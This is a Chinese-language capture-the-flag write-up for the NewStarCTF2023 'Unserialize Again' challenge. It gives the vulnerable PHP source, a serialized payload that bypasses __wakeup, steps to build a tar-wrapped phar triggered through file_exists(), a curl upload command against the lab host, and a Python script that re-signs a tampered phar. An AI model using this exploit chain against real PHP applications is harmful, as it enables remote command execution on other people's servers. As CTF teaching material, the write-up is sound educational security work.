【NewStarCTF2023】Unserialize Again phar 文件反序列化

题目源码

打开靶机后,进入页面就一个文件上传,然后抓包看源码提示我们看 cookies,然后 cookies 里面有 pairing.php, 访问之后得到题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
highlight_file(__FILE__);
error_reporting(0);
class story{
private $user='admin';
public $pass;
public $eating;
public $God='false';
public function __wakeup(){
$this->user='human';
if(1==1){
die();
}
if(1!=1){
echo $fffflag;
}
}
public function __construct(){
$this->user='AshenOne';
$this->eating='fire';
die();
}
public function __tostring(){
return $this->user.$this->pass;
}
public function __invoke(){
if($this->user=='admin'&&$this->pass=='admin'){
echo $nothing;
}
}
public function __destruct(){
if($this->God=='true'&&$this->user=='admin'){
system($this->eating);
}
else{
die('Get Out!');
}
}
}
if(isset($_GET['pear'])&&isset($_GET['apple'])){
// $Eden=new story();
$pear=$_GET['pear'];
$Adam=$_GET['apple'];
$file=file_get_contents('php://input');
file_put_contents($pear,urldecode($file));
file_exists($Adam);
}
else{
echo '多吃雪梨';
}

解题思路

这个类这么长,只有 __destruct() 部分是有用的, 解题思路就是触发反序列化,然后在__destruct()函数实现 RCE.

__wakeup 绕过部分

这里的 __wakeup() 函数会强制更改 user 的值,导致我们无法 RCE,至于 __construct() 构造函数, 如果类是反序列化构造的,那么就默认不会触发构造函数,不用管他就好,所以这里仅需要绕过 __wakeup()。‘

先来了解 __wakeup() 函数。

__wakeup() 函数在反序列过程中会最先调用,这是因为如果对象在被序列化时持有对数据库连接、文件句柄或网络连接的引用,这些资源在序列化时不会被保存,因为它们通常是资源指针。当对象被反序列化时, __wakeup() 方法会重新建立这些连接。

__wakeup() 通常在所有属性都恢复后执行。因此在 PHP 中如果序列化字符串被篡改,例如故意声明错误的属性数(实际 4 个属性,却声明了 5 个), PHP 无法成功恢复 5 个变量,就会跳过 __wakeup() 的执行。

所以这里序列化构造为:

1
2
3
4
5
6
7
8
9
10
11
12
13
class story{
private $user;
public $eating;
public $God;
public $pass;
public function __construct(){
$this->eating='ls /';
$this->God='true';
$this->pass='admin';
}
}
$a = new story();
echo serialize($a);

然后更改一下属性的个数就好。

phar 反序列化

注意到代码

1
2
3
4
5
$pear=$_GET['pear'];
$Adam=$_GET['apple'];
$file=file_get_contents('php://input');
file_put_contents($pear,urldecode($file));
file_exists($Adam);

这段代码的逻辑是, 从 GET 中取出 pear 的值, 然后通过php://input 读取 POST 过来的内容, 然后生成以 pear 的值命名, POST 为内容的文件, 文件会存放在当前目录下, 之后通过 GET 传入的 apple 来指定文件调用 file_exists()

file_exists() 函数是个魔法函数, 当他读取 phar 文件时, 如果 phar 文件存在 .metadata , 他就会对里面的内容执行反序列化。

所以思路很明显,这里我们需要构造一个 phar 文件,上传,然后通过 file_exists() 执行反序列化实现 RCE。

phar 文件签名绕过

由于需要绕过 __wakeup() 函数, 我们要更改 phar 文件里面序列化的内容, 但是按照我的构造 phar 文件的方法,在 phar 文件在生成后, 是会根据 phar 文件的内容生成一个签名的, 如果我们篡改生成的 phar 文件,会导致签名校验不通过, 无法被识别成一个正确的 phar 文件,也就不会触发反序列化.

这里绕过签名的方式有两种:

  1. 修改数据后再手动生成签名
  2. tar压缩绕过

我的做法是tar压缩绕过, 手动生成签名的方法会在文末再讨论.

这里引用了文章 https://www.anquanke.com/post/id/240007 的内容。

phar 文件在经过 tar 压缩后,反序列化过程中会跳过签名的验证。原因是对于 gzip,bzip 文件, php 内置的 phar 文件读取函数在碰到他们的时候会调用对应的过滤器直接对他们做解压处理,然后在去反序列化解压后的内容,这个过程是会验证签名有效性的。而对于 tar 文件, 他会检查 tar 压缩包的内容是否有 .phar/.metadata, 如果有就会直接对 metadata 的内容进行反序列化, 并没有验证其签名。

请注意该博主对分析 tar 文件时使用的 PHP 版本为 PHP7.2, 本文并没有验证 7.2 以后的 PHP 版本是否有修复该漏洞

本题中的 PHP 版本为 PHP/7.0.9, 所以确保能够使用 tar 压缩绕过签名验证。

这里在这里我没有使用 php 代码生成 phar 文件, 我选择去模拟phar 文件的构造,同时里面如果没有签名也是合法的(因为根本就不会检查,如果有签名,tar 作为一个外部的命令行工具,不知道 phar 文件的构造细节,直接 tar 压缩可能无法被反序列化执行), 这里需要在本地创建一个名为 .phar 的文件夹, 然后在文件夹里创建名为 .metadata 的文件, 通过 vim 打开, 将序列化结构粘贴到里面,然后保存。之后调用以下命令生成 tar 文件:

1
tar -cf phar.tar .phar/

生成 tar 文件后, 在 POST 上传即可(这里用了 curl -T 上传文件, 因为 burp 不好搞格式):

1
curl -X POST -T "/Users/a214/Desktop/phar.tar" "http://f5c944ec-37e2-4182-bcaf-e7f3441012c9.node4.buuoj.cn:81/pairing.php?pear=a.phar&apple=phar://a.phar" --header "Content-Type: application/x-www-form-urlencoded"

最后上传就能 RCE 了, ls 看到 flag 名字后 cat 就能得到结果:

官方题解

官方题解使用重写 phar 文件签名的形式, 去上传文件。但是本人在复现的过程中, 缕缕碰壁, 在这里记录我的踩坑历史。

使用 010editor 或者其他二进制工具编辑 phar 文件

一般的文本编辑器,包括 vim, vscode, 自带的记事本再保存的时候都会更改文件的编码格式,导致再发送的过程中无法被正确识别成 phar 文件。

在修改前请确认签名所使用的加密格式

网上包括官方题解的代码都是用 SHA1 进行加密, 一直不能通过, 这一点我卡了很久, 知道我仔细看:

这里的签名怎么是 32 个字节的, 一般的 SHA1 在加密后是 20 个字节, SHA256加密后是 32 个字节, 所以这类由于未知原因,本人本地 php 环境生成的 phar 文件是用SHA256进行加密的, 我们需要更改代码让他去用 SHA256 进行加密, 以下是更改后的加密代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import hashlib

with open('/Users/a214/Documents/IntelliJ/unserialize/a.phar', 'rb') as f:
content = f.read()

text = content[:-40] # 32+8
end = content[-8:]

# 使用 sha256 替换 sha1
sig = hashlib.sha256(text).digest()

# 写入新文件时,包括了新的签名和文件末尾的非签名数据
with open('b.phar', 'wb+') as f:
f.write(text + sig + end)

更改后上传文件, 就能拿到 flag 了:

这里总结一下签名的加密格式:

签名支持 MD5, SHA1, SHA256, SHA512, OpenSSL 算法, 默认是 SHA1

下次在改签名时记得检验一下加密格式。